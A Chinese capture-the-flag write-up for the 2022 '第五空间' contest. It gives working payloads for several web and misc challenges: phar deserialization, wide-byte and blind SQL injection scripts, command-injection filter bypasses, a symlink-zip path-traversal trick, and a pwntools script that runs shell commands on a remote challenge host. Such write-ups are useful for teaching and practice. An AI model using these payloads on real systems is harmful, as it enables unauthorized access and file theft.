2022第五空间WEB&MISC

文章目录

  • WEB
    • 5_web_BaliYun
    • 5_easylogin
    • 5_web_Eeeeasy_SQL
    • 5_web_letmeguess_1
  • MISC
    • 5_简单的Base
    • sakana_reveage
    • 5_Misc_m@sTeR_0f

WEB

5_web_BaliYun

扫描目录存在www.zip,下载后解压得到源码。
限制了上传文件的后缀

2022第五空间WEB&MISC_第1张图片

同时类中存在文件读取函数,很容易联想到phar反序列化。

首先生成phar


class upload{
     public $filename="/flag";
}
$p = new upload();
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($p);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

将生成的文件后缀改为test.png,上传后利用file_exists触发

2022第五空间WEB&MISC_第2张图片

img_name=phar:///var/www/html/upoload/test.png

5_easylogin

只有用户名为admin时会显示密码错误,不过尝试闭合一直没成功,怀疑是被转义了,试了下宽字节注入,可以成功显示报错。

2022第五空间WEB&MISC_第3张图片

先来尝试登录成功,or和and都被过滤了,这里可以用^

正常情况下^0即可登录成功,但是依然显示密码错误。

那么有可能是先查询出密码在和我们输入的密码进行md5比较,所以通过union构造一个password就可以了。

这里面union和select都被替换成空了,不过可以双写绕过。

payload

password=1&username=admin%df%27ununionion%09seselectlect%091,1,0x6334636134323338613062393233383230646363353039613666373538343962#

5_web_Eeeeasy_SQL

一道sql注入题,过滤了单双引号,所以想到的闭合方式就只剩反斜杠转义了。

先尝试利用or 1登录

2022第五空间WEB&MISC_第4张图片

经过测试万能密码也会显示用户名密码错误,得找个其他的回显,当sql语句报错时,页面会不显示任何内容。

if被过滤了可以使用case when语句绕过

substr mid被过滤了可以用isstr绕过

空格被过滤了可以用%09代替

最后就是怎么让他既能报错也能显示密码错误。

这里方法还是挺多的,比如pow(1000000,10000),cot(0),exp(100000)

注入脚本如下

import requests
import string
s=string.printable
print(s)
url = "http://39.107.78.119:25912/api/api.php?command=login"
x=''
for i in range(1,30):
    print(i)
    for j in range(32,127):
        t = ''.join(hex(ord(c))[2:] for c in (x+chr(j)))
        data={'username':'\\',
        #'password':f'or(case(instr(binary(username),0x{t}))when(1)then(cot(0))else(1)end)#'}
        'password':f'or(case(instr(binary(password),0x{t}))when(1)then(cot(0))else(1)end)#'}
        
        r=requests.post(url,data=data,allow_redirects=False)
        if "success" not in r.text:
            print(t)
            x+=chr(j)
            break
#Flag_Account
#G1ve_Y0u_@_K3y_70_937_f14g!!!

得到用户名Flag_Account,密码G1ve_Y0u_@_K3y_70_937_f14g!!!

登录之后访问/api/flag.php

得到源码如下

2022第五空间WEB&MISC_第5张图片

尝试读取/flag,但是/flag被过滤了,不过过滤语法是用的^也就是不能使用/flag开头,使用//flag即可绕过

payload:file=//flag

5_web_letmeguess_1

题目提示弱密码,那直接弱密码爆破了

2022第五空间WEB&MISC_第6张图片

爆破出密码为admin123

登录之后,后面是个命令执行

过滤了分号用%0a代替,过滤了空格用%09代替

首先ls看到当前目录下有个kylin

2022第五空间WEB&MISC_第7张图片

但是不知道这是个文件夹还是文件,直接打开没有内容,猜测是文件夹。

2022第五空间WEB&MISC_第8张图片

过滤了/那就先cd进去再打开

2022第五空间WEB&MISC_第9张图片

Payload:ip=%0acd%09k*%0atac%09*

MISC

5_简单的Base

直接16进制解码就可以了

sakana_reveage

下载附件后源码分析

可以上传普通文件或者zip文件,但是普通文件需要sakana开头。

后面还有解压以及下载文件的功能

很容易联想到ctf中常考的软链接,但是有过滤

2022第五空间WEB&MISC_第10张图片

不过代码上有个逻辑错误

2022第五空间WEB&MISC_第11张图片

当base64内容有问题时没有直接退出,而是进入进入到了subprocess.run中,执行了unzip命令。

假设我们输入错误的base64会出现如下错误

会去找/tmp/sakanas.zip.zip或者/tmp/sakanas.zip.Zip。

而在1选项中,我们可以上传文件,并且存在目录穿越,这样就可以创建一个/tmp/sakanas.zip.zip文件。

unzip还有个问题,当压缩包中文件头前面有其他内容时,会继续解压。

1、本地生成带软链接的zip压缩包

echo 123 > /flag
ln -s /flag f
zip --symlinks flag.zip f

2、放入010editor中加入sakana

3、将文件base64编码后上传

4、通过base64报错让程序解压上传的文件

5、下载flag

5_Misc_m@sTeR_0f

payload

from pwn import *
p = remote('123.56.174.142', 5702)
payload = "-interactive"
p.sendlineafter(' command --->>', payload)
p.sendline('.shell cat /flag.txt;')
p.sendline('.quit')
p.interactive()

利用-interactive强制进行交互IO2022第五空间WEB&MISC_第12张图片

.shell来执行系统命令,.quit退出

你可能感兴趣的:(前端,数据库,sql)